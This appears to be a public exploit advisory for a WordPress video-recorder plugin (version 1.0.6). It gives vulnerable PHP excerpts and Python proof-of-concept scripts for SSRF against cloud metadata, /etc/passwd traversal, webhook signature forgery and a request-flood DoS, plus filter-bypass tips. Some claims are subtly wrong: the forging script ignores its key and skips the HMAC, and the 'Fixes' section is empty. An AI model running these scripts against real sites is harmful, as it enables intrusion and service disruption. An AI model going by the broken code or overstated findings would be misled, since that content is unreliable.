# Exploit Title: WordPress Pipe Audio Video and Screen Recorder 1.0.6 - Multiple Vulnerabilities
# Date: March 28, 2025
# Exploit Author: bRpsd cy[at]live.no
# Plugin Link: https://wordpress.org/plugins/pipe-audio-video-and-screen-recorder/
# Version: 1.0.6
# Tested on: MacOS local Xampp
Vulnerability1: SSRF in File Download
File:load/AddPipe.php
Function: addpipe_handle_download()
Vulnerable Code:
================================================================================================
public function addpipe_handle_download() {
// ...
$fileUrl = isset($_POST['file']) ? esc_url_raw(wp_unslash($_POST['file'])) : '';
$allowed_domains = ['addpipe.com'];
$parsed_url = wp_parse_url($fileUrl);
if (!isset($parsed_url['host']) || !in_array($parsed_url['host'], $allowed_domains, true)) {
wp_send_json_error(['message' => 'Unauthorized domain'], 403);
}
$fileContent = @file_get_contents($fileUrl); // SSRF here
// ...
}
================================================================================================
Vuln1 Python POC:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
import requests
target = "http://example.com/wp-admin/admin-ajax.php"
nonce = "VALID_NONCE_HERE" # Replace with actual nonce
# Craft malicious URL (redirects to internal service)
malicious_url = "https://addpipe.com/redirect?url=http://169.254.169.254/latest/meta-data"
data = {
"action": "addpipe_download_file",
"file": malicious_url,
"_wpnonce": nonce
}
response = requests.post(target, data=data)
print(f"SSRF Response ({response.status_code}):\n{response.text[:500]}")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Vulnerability2: LFI via Quality Parameter
File: load/AddPipe.php
Function: addpipe_ajax_shortcode_generator()
Vulnerable Code:
================================================================================================
public function addpipe_ajax_shortcode_generator() {
// ...
$quality = isset($_POST['quality']) ? sanitize_text_field(wp_unslash($_POST['quality'])) : '';
$qualityurl = "avq/" . $quality . ".xml"; // LFI here
$data = [
'qualityurl' => $qualityurl,
// ...
];
// ...
}
================================================================================================
Vuln2 Python POC:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
import requests
from urllib.parse import quote
target = "http://example.com/wp-admin/admin-ajax.php"
nonce = "VALID_NONCE_HERE" # Replace with actual nonce
# Directory traversal payload
lfi_payload = quote("../../../../etc/passwd")
data = {
"action": "addpipe_ajax_shortcode_generator",
"quality": lfi_payload,
"_wpnonce": nonce
}
response = requests.post(target, data=data)
print(f"LFI Response ({response.status_code}):\n{response.text}")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Vulnerability3: Webhook Signature Bypass
File: load/AddPipe.php
Function: addpipeWebhook()
Vulnerable Code:
================================================================================================
public function addpipeWebhook() {
$webhook_url = admin_url('admin-ajax.php?action=addpipeWebhook');
$received_signature = $_SERVER['HTTP_X_PIPE_SIGNATURE'] ?? '';
$json_payload = file_get_contents('php://input');
$data_to_sign = $webhook_url . $json_payload;
$expected_signature = base64_encode(hash_hmac('sha1', $data_to_sign, $this->pipeWebhookKey, true));
if (!hash_equals($expected_signature, $received_signature)) {
wp_die('Unauthorized request', 403);
}
// ...
}
================================================================================================
Vuln3 Python POC:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
import hashlib
import base64
import requests
webhook_url = "http://example.com/wp-admin/admin-ajax.php?action=addpipeWebhook"
known_key = "WEAK_SECRET_KEY" # Replace with guessed/exposed key
malicious_payload = {
"event": "video_recorded",
"data": {
"id": 666,
"envCode": "attacker_env",
"videoName": "hacked_recording"
}
}
# Generate forged signature
signature_data = webhook_url + str(malicious_payload)
signature = base64.b64encode(
hashlib.sha1(signature_data.encode()).hexdigest().encode()
).decode()
headers = {
"X-Pipe-Signature": signature,
"Content-Type": "application/json"
}
response = requests.post(webhook_url, json=malicious_payload, headers=headers)
print(f"Webhook Injection ({response.status_code}): {response.text}")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Vulnerability4: DoS via Sync Endpoint
File: load/AddPipe.php
Function: addpipe_ajax_sync_deleted()
Vulnerable Code:
================================================================================================
public function addpipe_ajax_sync_deleted() {
foreach ($this->addpipeGetRecordedRecordings() as $obj) {
if (!$this->addpipeIsFileOnServer($obj->recording_url)) {
$wpdb->query("UPDATE {$wpdb->prefix}addpipe_records SET active = 0...");
}
}
}
================================================================================================
Vuln4 POC:
import requests
from concurrent.futures import ThreadPoolExecutor
target = "http://example.com/wp-admin/admin-ajax.php"
nonce = "VALID_ADMIN_NONCE" # Requires admin privileges
def send_sync_request(_):
data = {"action": "addpipe_ajax_sync_deleted", "_wpnonce": nonce}
response = requests.post(target, data=data)
return response.status_code
# Launch 100 concurrent requests
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(send_sync_request, range(100)))
print(f"DoS Results: {set(results)}")
Defense Bypass: For LFI/SSRF:
Use double encoding (%252e%252e%252f)
Chain with open redirect vulnerabilities
Exploit parser inconsistencies (e.g., ///etc/passwd
Fixes:
